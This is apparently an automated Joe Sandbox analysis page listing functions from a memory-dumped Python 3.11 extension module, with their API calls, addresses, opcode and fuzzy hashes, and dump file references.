Opcode ID: 9fc999d3ba75a32fdb54f31e92babdd73ad3fd271dbd89d704e32f932863f8a2
Instruction ID: 2cdea35e9693340ac105485f7d2be8e1d4e400b9a20000832ffa7727bbaeebce
Opcode Fuzzy Hash: 9fc999d3ba75a32fdb54f31e92babdd73ad3fd271dbd89d704e32f932863f8a2
Instruction Fuzzy Hash: 305184A190EA42E1E6A68F35E8406BB67A8FB54BA4F140072DD4F137A4DF7CE447C721

Function 00007FFBAA706908 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON311(?,?,?,00007FFBAA706856,?,?,?,00007FFBAA706720), ref: 00007FFBAA706966
_PyUnicode_Ready.PYTHON311(?,?,?,00007FFBAA706856,?,?,?,00007FFBAA706720), ref: 00007FFBAA715408

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: MallocMem_ReadyUnicode_
String ID:
API String ID: 3281404053-0
Opcode ID: 30e0139b3815385f5b23148af59c0299b05e058a65a50942f00168a3156b7151
Instruction ID: e755a4a22572fb7cf75ca95826c7dd89cd976b2e861286586bdf2d271a2918ef
Opcode Fuzzy Hash: 30e0139b3815385f5b23148af59c0299b05e058a65a50942f00168a3156b7151
Instruction Fuzzy Hash: 2F4103D2A1E642D5FA268F35C51067B9AD8AF04B95F0801BACE5E176E1DE6CE4038260

Function 00007FFBAA70236C Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA7023A1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA702470
_Py_Dealloc.PYTHON311 ref: 00007FFBAA702480
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70248D

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA714849

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 2eb98609505ade398a1f2fa3cea2013fae65fc26c2a371eaf814e5ae544d8ab8
Instruction ID: c5a142b0a009bf4fc301b3fd07a4cea32baf4d964182b28a657b4229fe0d2db4
Opcode Fuzzy Hash: 2eb98609505ade398a1f2fa3cea2013fae65fc26c2a371eaf814e5ae544d8ab8
Instruction Fuzzy Hash: 464161A3A16A43E5EB16CF71D8000FE27ACFB44B98B540472EE0D13654DE39D947C3A0

Function 00007FFBAA7026E0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA702711

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7027EA

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7148B2

Part of subcall function 00007FFBAA6F7250: PyMem_Free.PYTHON311 ref: 00007FFBAA6F72FB

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7027CE
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7027D9

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatFreeMem_Object_ParseSubtypeTupleType_
String ID:
API String ID: 2710705848-0
Opcode ID: f8b5880e058feb30f40d9a99ab03f2cf55a0e9456d889b2afcbd3e7c01f68696
Instruction ID: c564d343808237fead81064d1bbb2ca2477877694103a363e18d3ebd01fd8dd5
Opcode Fuzzy Hash: f8b5880e058feb30f40d9a99ab03f2cf55a0e9456d889b2afcbd3e7c01f68696
Instruction Fuzzy Hash: F13130B2A1AA52D5EB528F75D8500BE2BA8EB44B98B441072DF0D23795DE3CE547C360

Function 00007FFBAA703ECC Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA703EFD

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA703FD6

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA703FBA
_Py_Dealloc.PYTHON311 ref: 00007FFBAA703FC5
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714CF8

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 23c7c4e907ba45c6af6447aa0c48932a4cd58f76ea433114e7588b02fba90776
Instruction ID: e5a18323b384d90de4571a660cc60fc9f9d4572dc46037d69132cb8d452fcf40
Opcode Fuzzy Hash: 23c7c4e907ba45c6af6447aa0c48932a4cd58f76ea433114e7588b02fba90776
Instruction Fuzzy Hash: 993142B2A1AA12D5EB168F75D8540BE27B8BB44B94F440472EE0E63694DF3CE647C360

Function 00007FFBAA701F84 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA701FB5
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70206E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70207F
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70208C

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA714786

Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F88EA
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F88FE
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F8911
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F8925

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: DeallocFreeMem_$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1618042208-0
Opcode ID: 2fcf51f0f26801561f4a78d24dbc4f03f7393a52fa4a32d185c28099360c8641
Instruction ID: 585a36686dce6e70d39410b17bc4a06009ee09cf273ba2dddf75116281343813
Opcode Fuzzy Hash: 2fcf51f0f26801561f4a78d24dbc4f03f7393a52fa4a32d185c28099360c8641
Instruction Fuzzy Hash: 883130B2A0AB12D5EB068F75D8440BE27A8EB44B94F445072DF0E23695EF3DE547C3A0

Function 00007FFBAA703FE0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA704011

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7040EA

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7040CE
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7040D9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714D28

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 0152a94ac5eac63f6c275ae3eff6ae87a3f54153c00ff26e7e718e24daed6530
Instruction ID: 3271c5503017826177d60bcecc02c9b79e470316fe51cf7991d499363a8fbcf2
Opcode Fuzzy Hash: 0152a94ac5eac63f6c275ae3eff6ae87a3f54153c00ff26e7e718e24daed6530
Instruction Fuzzy Hash: 143146B2A0AA12D5EB128F75D8501BE27A8AB44B98F4444B2DE0D23B55DF3DD547C360

Function 00007FFBAA703BB0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA703BE1

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA703CBA

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA703C9E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA703CA9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714C42

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: c99b41413d410a8b66f42f518482b412da07e09b94962971e60b9209a433efc0
Instruction ID: 2aaef4a6639d04e8705dfa0ec5941545e16aae6ab463132e98d2eb049a2a8c5e
Opcode Fuzzy Hash: c99b41413d410a8b66f42f518482b412da07e09b94962971e60b9209a433efc0
Instruction Fuzzy Hash: FA3160B2A1AB12D5EB068F75C8500BF27A8AB44B98F451472DE0E63794DF3CE647D360

Function 00007FFBAA6F108C Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA6F10BD

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1196

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F117A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1185
_Py_Dealloc.PYTHON311 ref: 00007FFBAA711078

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: d5ca5b28589d4e6d2b8bd04fb83bbc7e78b4048249ef0d5a38071d01309e3705
Instruction ID: 397ab95476c0a3838d0415400d4428164af4aed7f4783026c30fad649b457e1e
Opcode Fuzzy Hash: d5ca5b28589d4e6d2b8bd04fb83bbc7e78b4048249ef0d5a38071d01309e3705
Instruction Fuzzy Hash: DA3149B2A0AA12D5EB12CF75CC100BD27A8AB45FD8F445072DF0E16A98DE3DE54BC760

Function 00007FFBAA701C78 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA701CA9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701D68
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701D75
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701D80

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7146FA

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 549e87ffac2dbbd270a4a4522544f66e8e3e8ec5ff4bf2f4d6eee3c28c79323e
Instruction ID: 38feedfd66ea00667f1a8907df53ec052169023f5a987126323f3b1e41a45197
Opcode Fuzzy Hash: 549e87ffac2dbbd270a4a4522544f66e8e3e8ec5ff4bf2f4d6eee3c28c79323e
Instruction Fuzzy Hash: 80314DB2A0AB52D5EB168F75D8500FE27A8EB44B98F441072DE0E27A94DF3CE547C360

Function 00007FFBAA6F5478 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA6F54A9

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F5582

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F5566
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F5571
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71190E

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 6e8a08d0135609d64f5edfada00e1e148f46bb7b6facc918f4d2b70e0637a521
Instruction ID: 3904dc79bd2294a6c708686d0003a42740f7af4123e76290482c43334ef490d1
Opcode Fuzzy Hash: 6e8a08d0135609d64f5edfada00e1e148f46bb7b6facc918f4d2b70e0637a521
Instruction Fuzzy Hash: 5A317EB2A1AA02C5EB028F79D9001BD27A9EB44F98F441076DF0E17694DF3DE94BC760

Function 00007FFBAA704C68 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA704C99

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA704D72

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA704D56
_Py_Dealloc.PYTHON311 ref: 00007FFBAA704D61
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714FC4

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 598ef48ed3feb993cd3434401894e552203ae3f77933b81a56c8fa31284e1aef
Instruction ID: 37c76b311fd816f4d46da8be9be39798d0c86bbbe98ed871d229e8046328b779
Opcode Fuzzy Hash: 598ef48ed3feb993cd3434401894e552203ae3f77933b81a56c8fa31284e1aef
Instruction Fuzzy Hash: 373130B2A0AA22D5EB129F75D8140BE27A8BB44B94F445072EF0D27794EF3CE547C360

Function 00007FFBAA6F50D4 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA6F5105

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F51DE

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7118C8

Part of subcall function 00007FFBAA6F51E8: PyMem_Free.PYTHON311 ref: 00007FFBAA6F537F

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F51C2
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F51CD

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatFreeMem_Object_ParseSubtypeTupleType_
String ID:
API String ID: 2710705848-0
Opcode ID: 9bf83651b9248913a87182242b3306fade458d8e5a4bdc2252f3f6c05ce57619
Instruction ID: 2086f882e8e912dde4b4efe1fba88a1c93d6b547ebab494b4c4a874429fc88eb
Opcode Fuzzy Hash: 9bf83651b9248913a87182242b3306fade458d8e5a4bdc2252f3f6c05ce57619
Instruction Fuzzy Hash: C2316CB2A0AA12D5EB02CF75CD001BD27A8AB44F98B441076EE0E16A94DE3CE54BC760

Function 00007FFBAA7020A0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA7020D1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA702190
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70219D
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7021A8

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7147A4

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
